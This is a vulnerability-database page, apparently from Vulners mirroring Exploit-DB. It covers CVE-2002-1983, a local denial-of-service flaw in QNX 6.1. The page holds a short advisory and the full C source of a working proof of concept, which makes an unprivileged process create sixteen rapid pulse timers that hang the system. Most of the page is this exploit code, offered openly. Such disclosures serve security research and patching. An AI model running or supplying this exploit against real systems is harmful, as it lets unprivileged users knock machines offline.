Lucene search
+L

QNX 6.1 - 'TimeCreate' Local Denial of Service

🗓️ 06 Nov 2002 00:00:00Reported by Pawel PisarczykType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 36 Views

Denial of service vulnerability in QNX 6.1 allowing unprivileged users to hang systems.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2002-1983
28 Jun 200504:00
cve
cvelist
Cvelist
CVE-2002-1983
28 Jun 200504:00
cvelist
euvd
EUVD
EUVD-2002-1962
7 Oct 202500:30
euvd
nvd
NVD
CVE-2002-1983
31 Dec 200205:00
nvd
// source: https://www.securityfocus.com/bid/6114/info

A denial of service vulnerability has been discovered in QNX.

It has been reported that it is possible for unprivileged users to cause QNX systems to stop responding, by creating multiple timers containing specific characteristics.

It should be noted that this issue was reported for QNX 6.1. It is not yet known whether this issue affects other releases.

/*
 * QNX RTP 6.1 Local DoS exploit
 *
 * author: Pawel Pisarczyk <[email protected]>, 2002
 *
 * After compilation and output binary execution system hangs.
 */

#include <errno.h>
#include <stdio.h>
#include <stddef.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/neutrino.h>
#include <inttypes.h>


int main(int argc, char *argv[])
{
	struct sigevent event;
	struct _itimer itimer;
	int chid;
	int tmid;
	int coid;
	int k;


	if ((chid = ChannelCreate(0)) < 0) {
		fprintf(stderr, "Can't create channel!\n");
		exit(-1);
	}

	if ((coid = ConnectAttach(0, getpid(), chid, 0, 0)) < 0) {
		fprintf(stderr, "Can't connect to channel!\n");
		exit(-1);
	}


	for (k = 0; k < 16; k++) {

		SIGEV_PULSE_INIT(&event, coid, 16, _PULSE_CODE_MINAVAIL + 1, k);

		if ((tmid = TimerCreate(CLOCK_REALTIME, &event)) < 0) {
			fprintf(stderr, "Can't create timer!\n");
			return -1;
		}


		itimer.nsec = 1000000;
		itimer.interval_nsec = 1000000;
		TimerSettime(tmid, 0, &itimer, NULL);
	}


	while (getc(stdin) != '#');
	return 0;
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Nov 2017 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 22.1
EPSS0.00988
36